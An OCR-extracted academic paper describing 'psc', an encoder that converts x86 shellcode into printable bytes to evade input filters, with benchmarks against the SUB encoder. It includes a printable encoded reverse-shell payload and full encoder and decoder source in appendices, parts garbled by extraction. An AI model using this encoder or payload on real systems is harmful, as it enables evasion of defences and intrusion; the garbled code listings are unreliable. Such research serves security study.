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Abstract

Shellcode is a sequence of executable instruction(s) that can
be used to exploit vulnerable processes by injecting it into
a processes address space. A typical shellcode comprises of
printable (ex. ‘a’, ‘{’, °/’, etc) and non-printable bytes (ex.
DEL, INS, etc). A way to inject these shellcodes into a pro-
cesses address space is by leveraging a buffer overflow exploit.
However defensive filters will drop non-printable bytes from
program inputs, thereby rendering the shellcode exploit use-
less. In order to bypass these defensive filters, shellcodes
with only printable characters can be used. However it is a
non-trivial task to write printable shellcodes. For this reason
researchers have come up with tools to convert arbitrary shell-
codes into functionally equivalent printable shellcodes. One
of the popular tools is based on the Riley Eller algorithm.
One drawback of this algorithm is that the resultant shell-
code is much larger than the original shellcode. In this paper
we present a new encoding scheme which produces a much
more compact (about ~40% smaller) printable shellcode as
compared to the Riley Eller algorithm.

1 Introduction

A shellcode is a stream of executable assembly instructions.
These instructions are specific to a given architecture and
are typically carriers of exploits which can be injected into
vulnerable programs. The injection can happen due to vulner-
abilities such as buffer overflows [15].

The range of byte values used by an arbitrary shellcode
is 0x00 — OxF F. This range includes both printable and non-
printable (binary) bytes. A common defense to protect against
shellcode injection is to drop non-printable bytes from an
input string when only printable bytes are expected. Some
examples of such input include name, email address, phone
number, etc.

The range of printable characters is 0x21 —0x7E. A general
piece of executable code will contain a mix of printable and

binary bytes. On x86 systems, the printable bytes' form [10,
16,18] a Turing complete instruction set. However to construct
a shellcode (or executable byte sequence) with only printable
bytes is a non-trivial task.

A well-known method to convert x86 shellcodes into print-
able bytes was developed by Riley Eller [12]. This method
(also called the “SUB encoder”) is used in the pen testing tool
- Metasploit [1]. The “SUB encoder” uses SUB, AND, PUSH,
and POP instructions to convert (or encode) any arbitrary
shellcode into printable shellcode’. A significant drawback
of the “SUB encoder” is the larger size of the printable shell-
code produced as compared to the input shellcode. Every four
bytes of the original shellcode are encoded into three SUB
instructions and one PUSH instruction - representing a total
of 16 bytes. Hence the final printable shellcode is four times
the size of the original shellcode (see §5.2).

Another method to produce printable shellcodes was devel-
oped by Zsolt Geczi and Peter Ivanyi. They created a compiler
that takes an arbitrary shellcode as input and returns a print-
able shellcode with equivalent functionality as output [13].
Their compiler is not publicly available but their paper de-
scribes their methodology (see §2.2). Their approach also
results in a significantly larger printable shellcode as com-
pared to the original shellcode.

In this paper we present a new encoding scheme and a
companion tool to generate compact printable shellcode. One
of the main distinguishing features of our tool (as compared
to other printable shellcode generators) is the use of a runtime
looped decoder similar to [10, 18]. Every two consecutive
bytes are encoded into three printable bytes. At runtime, a
decoding loop takes these three successive bytes and trans-
forms them back into the two bytes of the original shellcode.
The advantage of this new method is the smaller size of the
printable shellcode as compared to the existing approaches
of the “SUB encoder” as well as the instruction replacement

! Actually only alphanumeric bytes (which an even smaller subset print-
able bytes) are sufficient to form a Turing complete instruction set

2We refer to shellcodes containing only printable bytes as “printable
shellcodes”



scheme of Geczi and Ivanyi.

Other tools exist to convert arbitrary shellcodes into al-
phanumeric shellcodes such as the Rix compiler [16], Al-
pha Freedom compiler [10] and Jan Wever’s ALPHA3 com-
piler [17,18]. The alphanumeric byte range (0x30-0x39, 0x41-
0x5A, and 0x61-7A) is a subset of the printable byte range
(0x21-0x7E). Hence all alphanumeric shellcodes are also
printable. However we can produce smaller shellcodes, if we
leverage the entire printable byte range instead of just the
alphanumeric byte range. Our new scheme takes this aspect
into consideration.

Researchers have also demonstrated how to convert binary
shellcodes to English sentences [14] that are valid x86 code.
Ding et al. [11] have demonstrated automatic construction
of a printable return-oriented programing payload. However
these result in much larger shellcode size. Our goal on the
other hand is to produce shorter, but valid printable shellcode.

Our research contributions are as follows.

* Develop a new encoding scheme to produce more com-
pact printable shellcodes as compared to existing meth-
ods.

* Develop a companion tool (called psc) to demonstrate
the real world use of the new encoding scheme and per-
form relevant evaluations (refer to §5.2).

» Make the tool available for public use.

The rest of this paper is organized as follows. Section 2
discusses the existing methods for generating printable shell-
codes. Section 3 describes our new encoding scheme. Section
4 presents the implementation details of the companion tool
psc. Sections 5 details the correctness and performance eval-
uation of psc. We conclude in section 6.

2 Related Work

In this section, we briefly describe the existing methods for
converting arbitrary shellcodes to printable shellcodes. The
first method uses arithmetic and stack operations to encode
byte sequences. In the second method, every non-printable
instruction is replaced with equivalent printable instruction
sequences.

2.1 Riley Eller Algorithm

This method is described in detail in Riley Eller’s article [12].
It is based on the following observation: “Any dword (4 bytes)
can be derived from two or three SUB instructions whose
operands are printable bytes”. We refer to this method as
SUB encoding. This method creates the original shellcode on
the stack using SUB and PUSH instructions.

Let’s say we want to derive the last four bytes of the clas-
sic shellcode: execv /bin/sh. The corresponding byte se-
quence is 0x89e3cd80. We use register EAX because this

makes the SUB instruction’s opcode and register encoding
printable. The value of EAX is initially set to zero.

Listing 1: SUB Encoding

# Each of the constants below are within the
printable range 0x21-0x7E.

sub $0x256d6d2d, %eax
sub $0x256d6d25, %eax
sub $0x34574225, %eax
push %eax

Because EAX is originally set to zero, after the first sub-
traction the value in EAX is Oxda9292d3. After the second
subtraction the value in EAX is 0xb52525ae and finally after
the last subtraction, the value in EAX is 0x80cde389.

EAX now contains 0x80cde389 and when we push the
value onto the stack, it gets stored in the little-endian format.
Hence the byte sequence on the stack becomes 0x89¢3¢d80.
We have now successfully recovered the last four bytes of the
original shellcode.

2.2  Source to Source Conversion

Geczi and Ivanyi [13] take a different approach to convert
any arbitrary shellcode into printable shellcode. They replace
all non-printable instructions with a sequence of printable
instruction(s). To do this, they wrote a compiler that takes
assembly code as input and produces assembly code as output.
Assembling the output code enjoys the following properties:

1. It is functionally equivalent to the input code, and

2. When the output code is assembled, the executable code
produced contains only printable byte sequences.

2.2.1 Example code fragments

1. There are multiple ways to set register values to zero us-
ing printable byte sequences. We list one such approach
in Listing 2.

Listing 2: Set EAX to zero

push $50x46464646
pop %eax
xor $0x46464646, %eax

2. The MOV instruction can be used to copy data from
one register to another register, or copy a 32-bit constant
value to a register. The binary encoding of this instruc-
tion with such operands is not printable. An alternative
way to do this copy operation is via PUSH and POP
instructions as listed below.



Listing 3: Copy value between registers

# Doing: mov %ebx, %ecx
push %ebx
pop %ecx

Copying a 32-bit constant value in register can be done
by first copying zero in register and then incrementing /
decrementing it as required. This method is inefficient
especially for large numbers.

The reader is referred to the paper [13] for printable se-
quences of instructions for the following types of instructions:
arithmetic instructions, CMP instruction, JMP instruction, etc.

The primary drawback of this method is the large size of
the printable shellcode. For example, a 38 byte shellcode to
print an 8x8 square became 9837 bytes — after converting it
to printable shellcode [13].

3 Proposed Algorithms
3.1 Encoding Algorithm

We encode rwo successive bytes of the original shellcode into
three successive printable bytes. The algorithm to achieve this
transformation is described below.

1. If the size of the original shellcode is odd, then append
byte 0x90 (nop instruction).

2. Now take 2 successive bytes (or 16 bits) of the original
shellcode. Let the bits be by through b5, where by and
bg are the most significant bits of the first and second
bytes respectively.

3. Using the bits by — b;s, set the following immediate
(IMM) bytes:

e IMMbyte #1 =0, 0, 0, 0, by, by, by, b3
* IMM byte #2 =0, 0, by, bs, bg, b7, bg, by
« IMM byte #3 =0, 0, bo, b11, bi2, b13, b1a, bis

4. Add Ox3F to all the IMM bytes of the above step. The
resultant bytes form the encoded output.

5. Repeat steps (2) to (4) for all pairs of bytes in the original
shellcode.

6. Append 0x26 (or ‘&’) to the output which serves as an
end marker (explained below).

By construction, the minimum possible value of any IMM
byte is 0x00 and the maximum possible value is 0x3F (when
all the last six bits are set to 1). Hence the range of any IMM
byte is 0x00 — Ox3F'.

After adding 0x3F to the IMM bytes, the new range be-
comes 0x3F — Ox7E. This new range is a subset of the ASCII

printable range of 0x21 — 0x7E. Hence we are guaranteed
to convert all the bytes of the original shellcode to printable
bytes.

The purpose of the end marker is to indicate the end of
input. We can choose any character between 0x21 — Ox3E
as an end marker because this range does not overlap with
the encoded output range of 0x3F — 0x7E. For our tool, we
choose 0x26 (or ‘&’) as the end marker.

3.2 Decoding Algorithm

We read three consecutive printable shellcode bytes and de-
code them into two consecutive bytes. The algorithm to
achieve this is described below. We will use the C bitwise
operations: < (left shift), & (and) , and > (right shift).

1. Read three consecutive bytes of the encoded shellcode.
Let these be By, B> and Bj.

2. If By = 0x26, then the original shellcode has been com-
pletely recovered. Go to step (6).

3. Let Ry and R; be the decoded shellcode bytes. These
bytes are computed from the encoded bytes as follows.

* Ri=B1 <4)+((B2 &0x3f) >2)
* R = (B, < 6)+ (B3 & 0x3f)

4. Write Ry and R; to the memory location of the recovered
shellcode.

5. Increment the (read) pointer to the memory location of
the encoded shellcode by 3.

6. Repeat steps (1) to (4) for all bytes of the encoded shell-
code.

7. Jump to the start of the decoded shellcode.

3.3 Analysis

Let n be the size of the original shellcode. Then the follow-
ing formula represents the size of the encoded shellcode (in
bytes).

size of encoded %n +1, if n is even
payload (in bytes) 3(n+1)+1, ifnisodd

We replace every byte pair of the original shellcode with
three printable bytes. Hence we multiply n with % If nis
odd, then to create a pair from the last byte of the original
shellcode, we add a NOP instruction. This is why we use
(n+ 1) when n is odd. Finally, we add 1 to account for the
end marker.

Note that the final shellcode will also have the decoder loop
prepended to the encoded shellcode; thereby increasing its
size.
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Figure 1: Layout of Printable Shellcode

3.4 Example

The printable shellcode version of opening a reverse bash
shell on TCP port 4444 is as follows:

Listing 4: Printable Shellcode for Shell on TCP port 4444

‘PYJOX40HP [JOX0Y50A00YO0Y 0
Aa0YaOAbOYiOAjOYJOAkOYmOYnrIIOY70A80Y80A90Y
=0Y>0YGQZOyI&t<jOX40P[2YIC?,42A0@$<?"20"
wBIJjOX40P [2YJC2AK@?, 6520’ wBJBBAAAUAaShed i/
DZ2Fud4XR5gA7f ‘;u?4}V8Mo5XU5Xg/Sx5XR7f 5
gO4DV7f “;u?:Q@e:KC4XVTE Y;u?:@e3LU4XVTE Y;u?4dX
:CA8M0o2~L7Q@H6fx:?2J5_nl|r5'gl|abdm7fb3EH;
JLTAO&

4 Printable Shellcode Compiler

Printable Shellcode Compiler (or psc) is comprised of an en-
coder and a printable run-time decoder. The encoder converts
a given shellcode into printable form using the encoding al-
gorithm presented in §3.1. The encoded shellcode (which is
printable) cannot be executed directly. At run-time, before
the resultant encoded shellcode can be executed, it needs to
be decoded. For this purpose, a decoder is prepended to the
encoded shellcode. This forms the entire printable shellcode
emitted by psc.

When the printable shellcode is executed, the decoder it-
erates over the encoded shellcode and recovers® the original
shellcode. Once the original shellcode is completely recov-
ered, the control jumps to the recovered shellcode.

For the encoding process, we wrote a C program (Appendix
A lists the source code) that takes an arbitrary shellcode as
input and prints out the printable encoded shellcode on the
console. Now a bash script prepends this encoded shellcode
with a custom xor patcher and the runtime decoder to obtain
the final printable shellcode.

The encoded shellcode is then prepended with the decoder
to obtain the final printable shellcode. The final layout of the
printable shellcode is shown in figure I.

The decoder is handwritten in x86 assembly. The decoder
recovers the original shellcode by undoing all the transfor-

3The recovery is done in memory. §4.1 explains this recovery process in
detail.

Initializer
ECX: Read Pointer
EDX: Write Pointer
Loop |

Let, B1 ¢ [ECX]
B2 ¢ [ECX + 1]
B3 ¢ [ECX + 2]

4

NO
B1 =0x26

YES

Recover first byte,
R1 ¢ (B1 << 4) + (B2 & 0x3F) >>2

|

Recover second byte,
R2 ¢ (B2 << 6) + (B3 & 0x3F)

!

Write R1 to [EDX]
Write R2 to [EDX+1]

] v
EDX ¢ EDX +2 Recovered
ECX ¢« ECX+3 Shellcode

Figure 2: Execution Flow of Decoder

mations performed by the encoder. The instrumentation is
described in the following section.

The decoder code contains a few non-printable bytes. We
encode these non-printable bytes using the xor patching tech-
nique illustrated in [16]. More details are presented in §4.2.

GNU’s Portable Assembler (as) is used to assemble the
decoder and generate the executable binary. The total size of
the decoder (including the custom xor patcher) is 146 bytes.
The decoder is independent of the input shellcode.

4.1 Decoder Implementation

The flowchart in Figure 2 describes the execution flow of the
decoder. The initialization involves setting up the registers
ECX and EDX. Register ECX points to the encoded shellcode
and register EDX points to the memory where the recovered
shellcode is written. In the loop body, three consecutive bytes
are read from the encoded shellcode. Next, the decoding pro-
cess (refer §3.2) transforms these three bytes into two bytes
which are part of the recovered shellcode. These two recov-
ered shellcode bytes are then written to memory pointed by
EDX. This continues till the end mark (‘&’) is read from mem-
ory pointed to by ECX. Once the end mark is encountered,
the control jumps to the recovered shellcode.

The entire decoder assembly is listed in Appendix B. The
rest of this section describes the important features of the
decoder.



Listing 5: Initialization

# eax contains starting address of shellcode
push %eax
pop %ecx

# set ecx = ecx + 0x49
leal 0x49 (%ecx), %ecx

# edx = ecx
push %ecx
pop %edx

xorb %bl, %al

# Put recover byte back in memory
mov %al, 0x49 (%edx)

During initalization, registers ECX and EDX are set to the
appropriate memory locations. It is assumed that the begin-
ning address of the encoded shellcode is present in register
EAX *. Register EAX is used to derive the value of ECX and
EDX. The encoded shellcode starts after 73 bytes (or 0x49
bytes) from the current instruction. Hence register ECX is
initialized to EAX + 0x49. The recovered shellcode is smaller
than the encoded shellcode because three consecutive bytes
get decoded into two consecutive bytes. Hence after decod-
ing three bytes of the encoded shellcode, we replace the first
two bytes with the recovered bytes. This means that we ef-
fectively overwrite the encoded shellcode which has already
been decoded.

Listing 6: Loop Condition

Registers EAX and EBX are set to zero’. In the decoder
loop body, registers AL and BL are loaded with the first and
second bytes of the encoded shellcode respectively. The XOR
instruction is used instead of MOV to make the instruction
printable. Subsequently bitwise operations are used to decode
the first byte of the original shellcode. This is written back to
memory via the EDX register.

Listing 8: Second Byte Recovery

# 1f byte == &, then end of shellcode
# else execute next instruction

cmpb $0x26, 0x49 (%ecx)

je end_of_payload

# Read second byte
xorb Ox4a (%ecx), %bl

# Recover first 2 bits
inc %ebx
shlb $6, %bl

# Read third byte
xorb 0x4b (%ecx), %al

# Recover last 6 bits
inc %eax

andb $0x3f, %al

xorb %bl, %al

# Put recover byte back in memory
mov %al, 0x49 (%edx)

The loop body performs the actual decoding process. After
every iteration, the current encoded byte is checked for the
end mark (‘&’). If the end mark is read, then the control
jumps to the end of the payload because the payload has been
successfully decoded. Otherwise the loop continues with the
next iteration.

Listing 7: First Byte Recovery

Again EAX and EBX registers are set to zero®. Subse-
quently the second and third bytes are loaded into the BL and
AL registers respectively. These values are used to recover
the second byte of the original shellcode. Again this value is
written back to memory using the EDX register.

Listing 9: Update Read and Write Pointers

# Read first byte
xorb 0x49 (%ecx), %bl

# Recover first 4 bits
inc %ebx
shlb $4, %bl

# Read second byte
xorb 0Ox4a (%ecx), %al

# Recover last 4 bits
inc %eax

andb $0x3c, %al

shrb $2, %al

4If the starting address is present is another register, then the code can be
appropriately modified.

# Increment ecx and edx
inc %ecx
inc %ecx
inc %ecx
inc %edx
inc %edx

# Jump start of loop
jne loop

After the current pair of bytes is successfully decoded, the
read (ECX) and write (EDX) pointers are incremented and
the control transfers to the beginning of the loop.

SThis is omitted from the listed code fragment to avoid repetition. Refer
to Listing 2.

OThis is omitted from the listed code fragment to avoid repetition. Refer
to Listing 2.



4.2 Making the Decoder Printable

Not every instruction of the decoder loop is printable. So
in order to make all bytes printable, we use a custom XOR
patcher based on the ideas of Rix [16]. The XOR patcher
replaces every non-alphanumeric byte in the decoder loop
with an alphanumeric byte’ and emits an alphanumeric XOR
instruction to patch (or recover) the replaced byte at runtime.
The idea behind the XOR patcher algorithm is described
below.

1. If byte B is printable, then skip the byte.

2. If byte B is less than 0x80 and non-printable, then find a
and b such that a ® b = B and a & b are printable bytes.
Byte B is replaced with one of a or b and the other byte
is used in the XOR instruction to recover the original
byte at run time. This XOR instruction is placed at the
start of the decoding loop.

3. If byte B is greater than 0x80 and —B is printable, then
replace B with —B. Now note that B = Oxff ¢ B. Hence
we can again use XOR instruction to recover B at run-
time.

4. If byte B is greater than 0x80 and —B is not printable,
then —B is less than 0x80. Now we use step (2) to patch
the byte (i.e. =B) using XOR instructions. Next we use
step (3) to perform NOT on the the recovered byte.

The entire printable decoder code is listed in Appendix B.
As discussed in this section, the printable decoder code starts
off by initializing the required registers. After initialization,
the XOR patcher takes over and recovers the decoder loop.
Now the decoder loop runs and recovers the original shell-
code. Once the original shellcode is completely recovered,
the control is transferred over to the recovered shellcode and
the exploit payload runs.

5 Evaluation

5.1 Correctness

When we run the printable shellcode, the decoder runs first
and it recovers the original shellcode. After recovering the
shellcode, the decoder transfers the control over to the re-
covered shellcode. To test the correctness of the printable
shellcode we need to verify the recovered shellcode. The
verification entails performing a byte by byte comparison of
the original shellcode with the recovered shellcode. Hence
a successful verification means that the recovered shellcode
exactly matches the original shellcode.

In order to test this, once the shellcode is recovered we
jump to a small verification routine instead of performing

"Note that alphanumeric byte set is a subset of the printable byte set.

a jump to the recovered shellcode. This verification routine
sends a SIGTERM signal to itself (the same process). Next
a signal handler runs which is aware of the location of the
original shellcode and the recovered shellcode. The signal
handler performs the byte-by-byte comparison to verify the
shellcode recovery. In case of a mismatch between the original
shellcode and recovered shellcode, the signal handler prints
the mismatched bytes on the console.

Listing 10: Invoking Signal Handler

_start:

# pid = getpid()
xXor %eax, %eax
movb $20, %al
int $0x80

# kill (pid, SIGTERM)

push %eax

pop %ebx

Xor %eax, %eax
Xor %ecx, %ecx
mov $37, %al
mov $15, %cl
int $0x80

Listing 10 shows the code that is executed after recovery
of the shellcode. This code first issues a syscall to retrieve the
pid of the current process. Next the kill syscall is issued to
send a SIGTERM to the retrieved pid. After executing this
code at run time, the control transfers to the signal handler
which in turn performs the shellcode verification.

Listing 11: C Signal Handler

/* size of runtime decoder + signal handler
invoker x/
#define E 164

void handler_function ()
{
int i, 3;
for(i = 0, j = E; 1 < n-1; i++, j++)
if(original[i] != shellcode[]j])
printf ("Byte Num %d = %d\n", i,
originalfil]);
exit (0);

Listing 11 shows the signal handler used to verify the cor-
rectness of the recovered shellcode. The arrays original and
shellcode point to the original shellcode (in binary form)
and its printable shellcode form respectively.

5.2 Performance

Table | compares the encoding performance of Riley Eller
SUB Encoder and psc. psc has better encoding performance
in each case because the size of encoded shellcode is smaller.




The shellcodes have been taken from a publicly available
database [6]. Note that to actually run these shellcodes, we
need to prepend the decoder loop. Table 2 does this (or total
shellcode size) comparison.

The size of the decoder for SUB Encoder and psc are 29
and 146 respectively. Let the size of the original shellcode
be n. Then output shellcode size (total) under SUB Encoding
scheme is given by 29 + 16[n/4]. Also as mentioned in §3.3,
the output size under psc is given by 146 +3[n/2].

For smaller shellcodes (n < 45), SUB encoding scheme
produces the most compact printable shellcode. However
for larger shellcodes (n > 45), psc produces more compact
shellcodes. When the original shellcode size, n > 200, psc
yields about 40% — 50% smaller printable shellcode (in terms
of size) than the SUB Encoding method.

Comparing psc with alphanumeric shellcode generators
such as Jan Wever’s ALPHA3 [17,18], psc is again more com-
petitive for larger shellcodes (n > 236). ALPHA3 requires two
bytes to encode every byte of the original shellcode. On the
other hand psc requires only one and a half bytes to encode
every byte. This results in half a byte worth of savings for
every byte in the original shellcode when using psc. However
the runtime decoder of ALPHA3 is only 28 bytes long. Hence
for shorter shellcodes (n < 236), ALPHA3 produces more
compact shellcodes®. Note that by definition all alphanumeric
shellcodes are also printable.

Table 1: Encoding Performance (in bytes)

Shellcode Orig. SUB  psc
Enc.
execve /bin/sh [8] 20 80 31

add root user no-password to | 83 326 127
/etc/passwd and exit() [2]

copy /etc/passwd to 97 350 148
/tmp/outfile [5]
bind 4444/TCP to shell 100 395 151

(/bin/bash) [3]
download file and execute 135 534 205
it [7]
fork HTTP Server on port 166 632 250
8800/TCP [9]
reverse shell 422 1686 634
(localhost:8080/TCP) over
SSL [4]

6 Conclusion

Currently the Riley Eller Algorithm (SUB Encoder) or the
Source to Source Conversion algorithm can be used to gen-
erate printable shellcodes. Of the two, the SUB Encoder pro-

8For n = 236, the shellcode sizes of both psc and ALPHA3 are equivalent.

Table 2: Total Size Comparison (in bytes)

Shellcode Orig. SUB psc
Enc.
execve /bin/sh 20 109 177

add root user no-password to | 83 355 273
/etc/passwd and exit()

copy /etc/passwd to 97 379 294
/tmp/outfile

bind 4444/TCP to shell 100 424 297
(/bin/bash)

download file and execute it | 135 563 351
fork HTTP Server on port 166 661 396
8800/TCP
reverse shell 422 1715 780
(localhost:8080/TCP) over
SSL

duces the most compact printable shellcodes. In this paper,
we present a new encoding algorithm that uses looped de-
coding to reduce the size of these auto-generated printable
shellcodes. Our algorithm encodes two successive bytes of the
original shellcode into three printable shellcode bytes. How-
ever this compact representation increases the complexity of
the decoding algorithm, thereby increasing the decoder code
size. However unlike the existing algorithms, our decoder
loops over the printable shellcode and hence this increased de-
coder size gets amortized over the size of the entire shellcode.
Results shows that we produce about 40% — 50% smaller
printable shellcodes as compared to the SUB encoder (better
of the two existing algorithms). In addition we also present a
companion tool psc to demonstrate the real world feasibility
of our algorithm. Appendices A and B list the source code of
our tool. As part of future work, we intend to extend psc and
add support for 64-bit architecture (x86_64).
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Availability

psc, its related scripts, and tutorials can be found at https:
//github.com/dhrumil29699/Printable-Encoder/.
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A  Encoder

encoder . c implements the encoding algorithm mentioned in §3.1. The source code of encoder. c is listed below:

#include<stdio.h>
#include<string.h>
int main (int argc,char **argv)

{
if(arg
{

}

int n
int k
n
int e_

n

C

+
n

=

2)

fprintf (stderr,"./encoder_\"0xcd0x80..\"(Shellcode)");

strlen (argv[1]) /4;

n;
n%2;
((3*n)/2)+2;

unsigned char encoded[e_n];
char temp[4];

int i,3;

j = 0;

char end

for (i

{

}

encoded [3*7]
encoded[e_n-1]

0 ;

0x26;

i <n;

temp [0]
temp[1]
i++;
if (i

k)

temp [2]
temp [3]

temp [2]

temp [3]
}
unsigned
unsigned
unsigned int
unsigned int
encoded [3*7]
encoded [3*J+1]
encoded [3*7+2]
Jtt;

int
int

© T aQ X

end;
I\OI’.

printf ("$s\n",encoded);
return 0;

i++4)

// & characeter at the end of shellcode

argv [1][4*i+2];
argv [1][4*i+3];

// Adding NOP instruction if needed

I9!,.
!Ol;
argv [1][4*1i+2];
argv [1l][4*1+3];

strtoul (temp,0,16); // converting string to int base 16

(0x3f & x) + 0x3F;

((x > 6) & 0x3f) + 0x3F;
((x > 12) & 0xf) + 0x3F;
b;

Ccy

B Decoder

decoder.asm implements the decoding algorithm mentioned in §3.2. The source code of decoder.asm is listed below:

.text
.global anchor
initializer:




#Set

pusha
push seax
pop secx
push $0x30
pop seax
xXor $0x30, %al
dec Seax
push seax
Pop $ebx
xor_patcher:
push $0x30
pop seax
xorb $bl, 0x35 (%ecx)
xorb %al, 0x4f (%ecx)
xorb $bl, 0x4f (%ecx)
xorb %$bl, 0x60 (%ecx)
xorb %al, 0x61 (%ecx)
xorb $bl, 0x61 (%ecx)
xorb %al, 0x62 (%ecx)
xorb %$bl, 0x69 (%ecx)
xorb %al, 0x6a (%ecx)
xorb %$bl, 0x6a (%ecx)
xorb %al, 0x6B (%ecx)
xorb $bl, 0x6D (%ecx)
xorb %$bl, 0x6E (%ecx)
anchor:
# Set ecx = ecx + 0x49
.byte 0x72 #leal
.byte 0x49
.byte 0x49
# Xor patcher
xorb $bl, 0x37 (%ecx)
xorb %al, 0x38 (%ecx)
xorb %$bl, 0x38 (%ecx)
xorb %al, 0x39 (%ecx)
xorb $bl, 0x3D (%ecx)
xorb %$bl, 0x3E (%ecx)
xorb $bl, 0x47 (%ecx)
# set edx = ecx
push secx
Pop $edx
loop:

$eax value zero and %ecx beginning of

B T e

0x49 (%ecx) , Secx

S oS S S e o o

0x1C

0x04

0x17

0x02

0x1C

0x06

shellcode
0x72 -> 0x8D
0x4F"0x30->0x7F
0x7F -> 0x80
0x3F -> 0xCO
0x30"0x2C ->
0x1C -> 0xE3
0x30"0x34 ->
0x3F -> 0xCO
0x30"0x27 ->
0x17 -> OxES8
0x30"0x32 ->
0x27 -> 0xD8
0x77 -> 0x88
0x3F -> 0xCO
0x3070x2C ->
0x1C -> 0xE3
0x30"0x36 ->
0x27 -> 0xD8
0x77 -> 0x88
0x41 -> Oxbe

# compare ecx value with & character if same then transfer

control to end

.byte
.byte
.byte
.byte
je

0x4F
0x79
0x49
0x26

#cmpb

end_of_payload

of shellcode
$0x26,0x49 (%ecx)

# Set eax and ebx value 0

push
Pop
xor
push
Pop

$0x30
$eax
$0x30, %al
seax
$ebx

# take 2 bytes in al and bl




xorb 0x49 (%ecx) , $bl

inc sebx
.byte 0x3F #shlb $4,%bl

.byte 0x2C
.byte 0x34

xorb Ox4a (%ecx), %al
inc $eax
andb $0x3C, %al

# recover first byte of shellcode from 2 bytes
.byte 0x3F #shrb $2,%al

.byte 0x27

.byte 0x32

.byte 0x30 #xorb $bl, $al
.byte 0x27
.byte 0x77 #mov %al, 0x49 (%edx)

.byte 0x42
.byte 0x49

# Set eax and ebx value 0

push $0x30
pop seax
xor $0x30,%al
push Seax
Pop sebx

# take 2 bytes in al and bl

xXor Ox4a (%ecx) , $bl
inc %ebx
xor 0x4b (%ecx) , %al
inc %eax

# recover second byte of shellcode from 2 bytes
.byte 0x3F # shlb $6,%bl

.byte 0x2C

.byte 0x36

andb $0x3F, %al

.byte 0x30 # xorb %bl,%al

.byte 0x27

.byte 0x77 # mov %al, 0x4a (%edx)

.byte 0x42
.byte Ox4a

#increment ecx(get) by and edx(set) by 2

inc Sedx
inc $edx
inc secx
inc secx
inc $ecx

# jump start at loop
.byte 0x75 # Jjne loop
.byte 0x41
end_of_payload:
popa
end:
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